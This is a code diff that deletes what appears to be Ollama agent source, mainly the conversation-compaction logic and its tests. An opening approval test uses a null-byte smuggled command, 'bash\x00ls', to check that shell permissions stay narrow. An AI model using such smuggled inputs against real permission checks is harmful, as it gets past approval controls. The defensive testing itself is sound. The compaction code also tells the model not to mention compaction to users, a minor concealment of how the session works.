-	if session.allows("bash") || session.allows("bash\x00ls") {
-		t.Fatal("shell approval was too broad")
-	}
-	if session.ApprovalState.AllGranted() {
-		t.Fatal("allow all = true, want false for scoped approval")
-	}
-}
-
-func TestSessionApplyApprovalAllowAll(t *testing.T) {
-	session := &Session{}
-	result := Approval{AllowAll: true}
-
-	session.applyApproval(&result)
-
-	if !result.Allow || !session.allows("anything") {
-		t.Fatalf("allow all = %v result = %#v, want allow all", session.ApprovalState.AllGranted(), result)
-	}
-}

agent/compactor.go

@@ -1,667 +0,0 @@
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"net/http"
-	"strings"
-
-	"github.com/ollama/ollama/api"
-)
-
-// Compaction wire-format. These constants and helpers are the single canonical
-// definition of how a compacted turn is represented in message history.
-const (
-	CompactionSummaryMessagePrefix = "Conversation summary:\n"
-	CompactionToolName             = "summary"
-	CompactionToolCallID           = "ollama_compaction"
-	CompactionContinueInstruction  = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
-)
-
-const (
-	defaultCompactionContextWindowTokens = 32768
-	defaultCompactionKeepUserTurns       = 3
-	defaultCompactionThreshold           = 0.8
-	compactOnlySummaryContextTokens      = 16000
-
-	maxCompactionSummaryRunes = 16 * 1024
-
-	compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
-)
-
-type Compactor interface {
-	MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
-
-	// ContextWindowTokens returns the effective context window size in
-	// tokens, resolving runtime options against configured defaults.
-	ContextWindowTokens(options map[string]any) int
-
-	// Threshold returns the compaction threshold as a fraction of the
-	// context window (e.g. 0.8 means compact at 80% capacity).
-	Threshold() float64
-
-	// ShouldCompact reports whether a compaction should run and returns the
-	// trigger reason. An empty trigger means compaction is not needed.
-	ShouldCompact(req CompactionRequest) (trigger string, should bool)
-}
-
-type CompactionOptions struct {
-	ContextWindowTokens int
-	KeepUserTurns       int
-	Threshold           float64
-}
-
-type CompactionRequest struct {
-	ChatID        string
-	Model         string
-	SystemPrompt  string
-	Messages      []api.Message
-	Tools         api.Tools
-	Format        string
-	Latest        api.ChatResponse
-	Options       map[string]any
-	KeepAlive     *api.Duration
-	Think         *api.ThinkValue
-	Force         bool
-	ContinueTask  bool
-	KeepUserTurns *int
-	Progress      func(CompactionProgress)
-}
-
-type CompactionProgress struct {
-	Tokens int
-}
-
-type CompactionResult struct {
-	Messages  []api.Message
-	Compacted bool
-	Due       bool
-	Summary   string
-	Reason    string
-}
-
-type SimpleCompactor struct {
-	Client  ChatClient
-	Options CompactionOptions
-}
-
-func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
-	result := CompactionResult{Messages: req.Messages}
-	if c == nil {
-		return result, nil
-	}
-
-	result.Due = req.Force || c.shouldCompact(req)
-	if !result.Due {
-		return result, nil
-	}
-	if c.Client == nil {
-		result.Reason = "compaction is unavailable"
-		return result, nil
-	}
-
-	keepUserTurns := c.keepUserTurns(req.Options)
-	if req.KeepUserTurns != nil {
-		keepUserTurns = *req.KeepUserTurns
-	}
-	prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
-	if !ok || len(archive) == 0 {
-		result.Reason = "nothing to compact"
-		return result, nil
-	}
-
-	summary, err := c.summarize(ctx, req, previousSummary, archive)
-	if err != nil {
-		result.Reason = err.Error()
-		return result, err
-	}
-	summary = truncateCompactionSummary(strings.TrimSpace(summary))
-	if summary == "" {
-		summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
-		if err != nil {
-			result.Reason = err.Error()
-			return result, err
-		}
-		summary = truncateCompactionSummary(strings.TrimSpace(summary))
-	}
-	if summary == "" {
-		result.Reason = "summary was empty"
-		return result, nil
-	}
-
-	compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
-	compacted = append(compacted, prefix...)
-	compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
-	compacted = append(compacted, suffix...)
-	result.Messages = compacted
-	result.Compacted = true
-	result.Summary = summary
-	return result, nil
-}
-
-func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
-	contextWindow := c.contextWindowTokens(req.Options)
-	threshold := int(float64(contextWindow) * c.threshold())
-	if threshold <= 0 {
-		return false
-	}
-	if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
-		return true
-	}
-	return estimateCompactionRequestTokens(req) >= threshold
-}
-
-func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
-	return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
-}
-
-// ContextWindowTokens resolves the effective context window from runtime
-// options or configured defaults. Satisfies the Compactor interface.
-func (c *SimpleCompactor) ContextWindowTokens(options map[string]any) int {
-	if c == nil {
-		return 0
-	}
-	return c.contextWindowTokens(options)
-}
-
-func (c *SimpleCompactor) threshold() float64 {
-	return ResolveCompactionThreshold(c.Options.Threshold)
-}
-
-// Threshold returns the configured compaction threshold fraction. Satisfies
-// the Compactor interface.
-func (c *SimpleCompactor) Threshold() float64 {
-	if c == nil {
-		return 0
-	}
-	return c.threshold()
-}
-
-// ShouldCompact reports whether compaction is due and the trigger reason.
-// Satisfies the Compactor interface.
-func (c *SimpleCompactor) ShouldCompact(req CompactionRequest) (string, bool) {
-	if c == nil {
-		return "", false
-	}
-	if req.Force {
-		return "force", true
-	}
-	if c.shouldCompact(req) {
-		contextWindow := c.contextWindowTokens(req.Options)
-		threshold := int(float64(contextWindow) * c.threshold())
-		if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
-			return "prompt_eval", true
-		}
-		return "estimate", true
-	}
-	return "", false
-}
-
-func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
-	contextWindow := c.contextWindowTokens(options)
-	if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
-		return 0
-	}
-	if c.Options.KeepUserTurns > 0 {
-		return c.Options.KeepUserTurns
-	}
-	return defaultCompactionKeepUserTurns
-}
-
-func ResolveContextWindowTokens(options map[string]any, configured int) int {
-	if n := intOption(options, "num_ctx"); n > 0 {
-		return n
-	}
-	if configured > 0 {
-		return configured
-	}
-	return defaultCompactionContextWindowTokens
-}
-
-func ResolveCompactionThreshold(configured float64) float64 {
-	if configured > 0 {
-		return configured
-	}
-	return defaultCompactionThreshold
-}
-
-func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
-	body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
-	if err != nil {
-		return "", err
-	}
-
-	chatReq := &api.ChatRequest{
-		Model: req.Model,
-		Messages: []api.Message{
-			{
-				Role:    "system",
-				Content: compactionSystemPrompt,
-			},
-			{
-				Role:    "user",
-				Content: body,
-			},
-		},
-		Options: req.Options,
-		Think:   req.Think,
-	}
-	if req.KeepAlive != nil {
-		chatReq.KeepAlive = req.KeepAlive
-	}
-
-	var summary strings.Builder
-	if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
-		summary.WriteString(response.Message.Content)
-		if req.Progress != nil {
-			tokens := response.EvalCount
-			if tokens <= 0 {
-				tokens = estimateCompactionTokens(summary.String())
-			}
-			req.Progress(CompactionProgress{Tokens: tokens})
-		}
-		return nil
-	}); err != nil {
-		return "", err
-	}
-	return summary.String(), nil
-}
-
-func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
-	retry := req
-	retry.Think = &api.ThinkValue{Value: false}
-	summary, err := c.summarize(ctx, retry, previousSummary, archive)
-	if err == nil {
-		return summary, nil
-	}
-	if !isUnsupportedCompactionThinkError(err) {
-		return "", err
-	}
-	if req.Think == nil {
-		return "", nil
-	}
-	retry.Think = nil
-	return c.summarize(ctx, retry, previousSummary, archive)
-}
-
-func isUnsupportedCompactionThinkError(err error) bool {
-	if err == nil {
-		return false
-	}
-	text := strings.ToLower(err.Error())
-	if !strings.Contains(text, "think") {
-		return false
-	}
-	var statusErr api.StatusError
-	if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
-		return statusErr.StatusCode == http.StatusBadRequest
-	}
-	return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
-}
-
-// compactionSummaryMessageForTask renders a compaction summary as the content
-// string stored on the synthetic tool-result message.
-func compactionSummaryMessageForTask(summary string, continueTask bool) string {
-	content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
-	if continueTask {
-		content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
-	}
-	return content
-}
-
-// CompactionSummaryMessages renders a compaction summary as the assistant
-// tool-call plus tool-result pair that represents a compacted turn in the
-// message history.
-func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
-	return []api.Message{
-		{
-			Role: "assistant",
-			ToolCalls: []api.ToolCall{{
-				ID: CompactionToolCallID,
-				Function: api.ToolCallFunction{
-					Name: CompactionToolName,
-				},
-			}},
-		},
-		{
-			Role:       "tool",
-			ToolName:   CompactionToolName,
-			ToolCallID: CompactionToolCallID,
-			Content:    compactionSummaryMessageForTask(summary, continueTask),
-		},
-	}
-}
-
-func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
-	contextWindow := c.contextWindowTokens(options)
-	threshold := int(float64(contextWindow) * c.threshold())
-	if threshold <= 0 {
-		return 0
-	}
-	systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
-	userRoleTokens := estimateCompactionTokens("user")
-	budget := threshold - systemTokens - userRoleTokens
-	if budget <= 0 {
-		return 0
-	}
-	return budget
-}
-
-func truncateCompactionSummary(summary string) string {
-	return Truncate(summary, TruncateConfig{
-		MaxRunes: maxCompactionSummaryRunes,
-		Label:    "summary",
-	})
-}
-
-func estimateCompactionTokens(text string) int {
-	text = strings.TrimSpace(text)
-	if text == "" {
-		return 0
-	}
-	return ApproximateTokens(len([]rune(text)))
-}
-
-func estimateMessagesTokens(messages []api.Message) int {
-	var total int
-	for _, msg := range messages {
-		total += estimateCompactionTokens(msg.Role)
-		total += estimateCompactionTokens(msg.Content)
-		total += estimateCompactionTokens(msg.Thinking)
-		total += estimateCompactionTokens(msg.ToolName)
-		total += estimateCompactionTokens(msg.ToolCallID)
-		for _, call := range msg.ToolCalls {
-			total += estimateCompactionTokens(call.Function.Name)
-			total += estimateCompactionTokens(call.Function.Arguments.String())
-		}
-	}
-	return total
-}
-
-func estimateCompactionRequestTokens(req CompactionRequest) int {
-	requestMessages := sanitizeMessagesForEstimate(req.Messages)
-	if strings.TrimSpace(req.SystemPrompt) != "" {
-		requestMessages = make([]api.Message, 0, len(req.Messages)+1)
-		requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
-		requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
-	}
-
-	payload := struct {
-		Messages []api.Message   `json:"messages,omitempty"`
-		Tools    api.Tools       `json:"tools,omitempty"`
-		Format   json.RawMessage `json:"format,omitempty"`
-	}{
-		Messages: requestMessages,
-		Tools:    req.Tools,
-	}
-	if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
-		payload.Format = rawFormat
-	}
-	if data, err := json.Marshal(payload); err == nil {
-		return estimateCompactionTokens(string(data))
-	}
-
-	total := estimateMessagesTokens(requestMessages)
-	total += estimateCompactionTokens(req.Tools.String())
-	total += estimateCompactionTokens(req.Format)
-	return total
-}
-
-func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
-	return estimateCompactionRequestTokens(CompactionRequest{
-		SystemPrompt: opts.SystemPrompt,
-		Messages:     messages,
-		Tools:        s.availableTools(),
-		Format:       opts.Format,
-		Options:      opts.Options,
-	})
-}
-
-func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
-	contextWindow := s.contextWindowTokens(opts)
-	if contextWindow <= 0 {
-		return nil
-	}
-	estimated := s.estimateRunPromptTokens(opts, messages)
-	if estimated < contextWindow {
-		return nil
-	}
-	return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
-}
-
-func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
-	contextWindow := s.contextWindowTokens(opts)
-	if contextWindow <= 0 {
-		return nil
-	}
-	estimated := s.estimateRunPromptTokens(opts, messages)
-	if estimated < contextWindow {
-		return nil
-	}
-	return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
-}
-
-func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
-	requestMessages := sanitizeMessagesForRequest(messages)
-	for i := range requestMessages {
-		// Image token accounting is model-specific. Without the active model's
-		// tokenizer and vision accounting, raw image bytes/base64 make the
-		// estimate look much larger than the prompt the model actually sees.
-		requestMessages[i].Images = nil
-	}
-	return requestMessages
-}
-
-func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
-	format = strings.TrimSpace(format)
-	if format == "" {
-		return nil, false
-	}
-	if format == "json" {
-		return json.RawMessage(`"json"`), true
-	}
-	if !json.Valid([]byte(format)) {
-		return nil, false
-	}
-	return json.RawMessage(format), true
-}
-
-func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
-	messages := make([]api.Message, 0, len(archive))
-	for _, msg := range archive {
-		msg.Thinking = ""
-		msg.Images = nil
-		messages = append(messages, msg)
-	}
-	return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
-}
-
-func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
-	payload, err := json.MarshalIndent(messages, "", "  ")
-	if err != nil {
-		return "", fmt.Errorf("marshal compaction messages: %w", err)
-	}
-
-	var b strings.Builder
-	if strings.TrimSpace(previousSummary) != "" {
-		b.WriteString("Previous summary:\n")
-		b.WriteString(strings.TrimSpace(previousSummary))
-		b.WriteString("\n\n")
-	}
-	b.WriteString("Messages to archive as JSON:\n")
-	b.Write(payload)
-	return b.String(), nil
-}
-
-func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
-	if maxTokens <= 0 {
-		return messages
-	}
-	fitted := append([]api.Message(nil), messages...)
-	for range 16 {
-		body, err := renderCompactionPrompt(previousSummary, fitted)
-		if err != nil || estimateCompactionTokens(body) <= maxTokens {
-			return fitted
-		}
-
-		idx := largestCompactionContentMessage(fitted)
-		if idx < 0 {
-			return fitted
-		}
-		overageTokens := estimateCompactionTokens(body) - maxTokens
-		currentRunes := len([]rune(fitted[idx].Content))
-		nextRunes := currentRunes - overageTokens*4 - 256
-		if nextRunes >= currentRunes {
-			nextRunes = currentRunes / 2
-		}
-		fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
-	}
-	return fitted
-}
-
-func largestCompactionContentMessage(messages []api.Message) int {
-	idx := -1
-	size := 0
-	for i, msg := range messages {
-		n := len([]rune(msg.Content))
-		if n > size {
-			idx = i
-			size = n
-		}
-	}
-	return idx
-}
-
-func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
-	if keepUserTurns < 0 {
-		keepUserTurns = defaultCompactionKeepUserTurns
-	}
-
-	start := 0
-	for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
-		prefix = append(prefix, messages[start])
-		start++
-	}
-
-	candidates := make([]api.Message, 0, len(messages)-start)
-	for i := start; i < len(messages); i++ {
-		msg := messages[i]
-		if isCompactionSummary(msg) {
-			previousSummary = CompactionSummaryText(msg.Content)
-			continue
-		}
-		if isCompactionToolCall(msg) {
-			if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
-				previousSummary = CompactionSummaryText(messages[i+1].Content)
-				i++
-			}
-			continue
-		}
-		candidates = append(candidates, msg)
-	}
-
-	userTurnIndexes := make([]int, 0, keepUserTurns)
-	for i := len(candidates) - 1; i >= 0; i-- {
-		if candidates[i].Role == "user" {
-			userTurnIndexes = append(userTurnIndexes, i)
-		}
-	}
-	keptUserTurns = keepUserTurns
-	if len(userTurnIndexes) <= keptUserTurns {
-		keptUserTurns = len(userTurnIndexes) - 1
-	}
-	if keptUserTurns < 0 {
-		keptUserTurns = 0
-	}
-
-	suffixStart := len(candidates)
-	if keptUserTurns > 0 {
-		suffixStart = userTurnIndexes[keptUserTurns-1]
-	}
-	if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
-		return prefix, previousSummary, nil, nil, keptUserTurns, false
-	}
-
-	return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
-}
-
-func isCompactionToolName(name string) bool {
-	return name == CompactionToolName
-}
-
-func isCompactionSummary(msg api.Message) bool {
-	return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
-		strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
-}
-
-// IsCompactionSummary reports whether msg uses the canonical compaction
-// summary message representation.
-func IsCompactionSummary(msg api.Message) bool {
-	return isCompactionSummary(msg)
-}
-
-// CompactionSummaryContent returns the user-visible summary from msg when it
-// is a canonical compaction summary.
-func CompactionSummaryContent(msg api.Message) (string, bool) {
-	if !isCompactionSummary(msg) {
-		return "", false
-	}
-	return CompactionSummaryText(msg.Content), true
-}
-
-// IsCompactionToolResult reports whether msg is the synthetic tool result used
-// to represent compaction in message history.
-func IsCompactionToolResult(msg api.Message) bool {
-	return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
-}
-
-// IsCompactionToolCall reports whether msg is the synthetic assistant tool
-// call paired with a compaction summary result.
-func IsCompactionToolCall(msg api.Message) bool {
-	return isCompactionToolCall(msg)
-}
-
-func isCompactionToolCall(msg api.Message) bool {
-	if msg.Role != "assistant" {
-		return false
-	}
-	for _, call := range msg.ToolCalls {
-		if isCompactionToolName(call.Function.Name) {
-			return true
-		}
-	}
-	return false
-}
-
-// CompactionSummaryText reverses CompactionSummaryMessages, returning the
-// user-visible summary text with the prefix and any continuation instruction
-// removed.
-func CompactionSummaryText(content string) string {
-	return strings.TrimSpace(strings.TrimSuffix(
-		strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
-		CompactionContinueInstruction,
-	))
-}
-
-func intOption(options map[string]any, key string) int {
-	if options == nil {
-		return 0
-	}
-	switch v := options[key].(type) {
-	case int:
-		return v
-	case int64:
-		return int(v)
-	case float64:
-		return int(v)
-	case float32:
-		return int(v)
-	case json.Number:
-		n, _ := v.Int64()
-		return int(n)
-	default:
-		return 0
-	}
-}

agent/compactor_test.go

@@ -1,773 +0,0 @@
-package agent
-
-import (
-	"context"
-	"net/http"
-	"strings"
-	"testing"
-
-	"github.com/ollama/ollama/api"
-)
-
-type scriptedCompactionClient struct {
-	responses [][]api.ChatResponse
-	errs      []error
-	requests  []*api.ChatRequest
-}
-
-func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
-	c.requests = append(c.requests, req)
-	i := len(c.requests) - 1
-	if i < len(c.responses) {
-		for _, response := range c.responses[i] {
-			if err := fn(response); err != nil {
-				return err
-			}
-		}
-	}
-	if i < len(c.errs) {
-		return c.errs[i]
-	}
-	return nil
-}
-
-func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
-	t.Helper()
-	if len(messages) != 2 {
-		t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
-	}
-	if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
-		t.Fatalf("compaction assistant message = %#v", messages[0])
-	}
-	if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
-		t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
-	}
-	if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
-		t.Fatalf("compaction tool result = %#v", messages[1])
-	}
-	if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
-		t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
-	}
-}
-
-func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 16000,
-		KeepUserTurns:       2,
-		Threshold:           0.5,
-	}}
-
-	messages := []api.Message{
-		{Role: "system", Content: "stay pinned"},
-		{Role: "user", Content: "old request"},
-		{Role: "assistant", Content: "old answer", Thinking: "hidden"},
-		{Role: "user", Content: "recent one"},
-		{Role: "assistant", Content: "recent answer"},
-		{Role: "user", Content: "recent two"},
-	}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID:   "chat-1",
-		Model:    "model",
-		Messages: messages,
-		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	compacted := result.Messages
-	if len(compacted) != 6 {
-		t.Fatalf("compacted messages = %d, want 6", len(compacted))
-	}
-	if compacted[0].Content != "stay pinned" {
-		t.Fatalf("first message = %#v", compacted[0])
-	}
-	if result.Summary != "summary" {
-		t.Fatalf("result summary = %q", result.Summary)
-	}
-	assertCompactionSummaryPair(t, compacted[1:3])
-	if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
-		t.Fatalf("recent turns were not kept: %#v", compacted)
-	}
-	if len(client.requests) != 1 {
-		t.Fatalf("summary requests = %d, want 1", len(client.requests))
-	}
-	if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
-		t.Fatal("compaction prompt should omit thinking")
-	}
-}
-
-func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "small context summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: compactOnlySummaryContextTokens - 1,
-		KeepUserTurns:       3,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID:       "chat-1",
-		Model:        "model",
-		ContinueTask: true,
-		Messages: []api.Message{
-			{Role: "system", Content: "pinned"},
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "latest request"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if len(result.Messages) != 3 {
-		t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
-	}
-	if result.Messages[0].Content != "pinned" {
-		t.Fatalf("leading system message not kept: %#v", result.Messages)
-	}
-	assertCompactionSummaryPair(t, result.Messages[1:])
-	if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
-		t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
-	}
-}
-
-func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID:       "chat-1",
-		Model:        "model",
-		ContinueTask: true,
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent request"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Summary != "summary" {
-		t.Fatalf("result summary = %q", result.Summary)
-	}
-	content := result.Messages[1].Content
-	if !strings.Contains(content, CompactionContinueInstruction) {
-		t.Fatalf("tool result missing continue instruction: %q", content)
-	}
-	if got := CompactionSummaryText(content); got != "summary" {
-		t.Fatalf("visible summary text = %q", got)
-	}
-}
-
-func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
-	longSummary := strings.Repeat("x", maxCompactionSummaryRunes+1024)
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: longSummary}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID: "chat-1",
-		Model:  "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old one"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent one"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if runeCount := len([]rune(result.Summary)); runeCount > maxCompactionSummaryRunes+200 {
-		t.Fatalf("summary runes = %d, want <= %d (plus marker)", runeCount, maxCompactionSummaryRunes)
-	}
-	if !strings.Contains(result.Summary, "[summary truncated:") {
-		t.Fatalf("summary missing truncation marker: %q", result.Summary)
-	}
-	if !strings.Contains(result.Messages[1].Content, "[summary truncated:") {
-		t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
-	}
-}
-
-func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
-	client := &scriptedCompactionClient{
-		responses: [][]api.ChatResponse{
-			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
-			{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
-		},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent request"},
-		},
-		Force: true,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted || result.Summary != "fallback summary" {
-		t.Fatalf("compaction result = %#v", result)
-	}
-	if len(client.requests) != 2 {
-		t.Fatalf("summary requests = %d, want 2", len(client.requests))
-	}
-	if client.requests[0].Think != nil {
-		t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
-	}
-	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
-		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
-	}
-}
-
-func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
-	client := &scriptedCompactionClient{
-		responses: [][]api.ChatResponse{
-			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
-			nil,
-		},
-		errs: []error{
-			nil,
-			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
-		},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent request"},
-		},
-		Force: true,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Compacted || result.Reason != "summary was empty" {
-		t.Fatalf("compaction result = %#v", result)
-	}
-	if len(client.requests) != 2 {
-		t.Fatalf("summary requests = %d, want 2", len(client.requests))
-	}
-	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
-		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
-	}
-}
-
-func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
-	client := &scriptedCompactionClient{
-		responses: [][]api.ChatResponse{
-			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
-			nil,
-			{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
-		},
-		errs: []error{
-			nil,
-			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
-			nil,
-		},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-	thinkHigh := &api.ThinkValue{Value: "high"}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent request"},
-		},
-		Think: thinkHigh,
-		Force: true,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted || result.Summary != "unset think summary" {
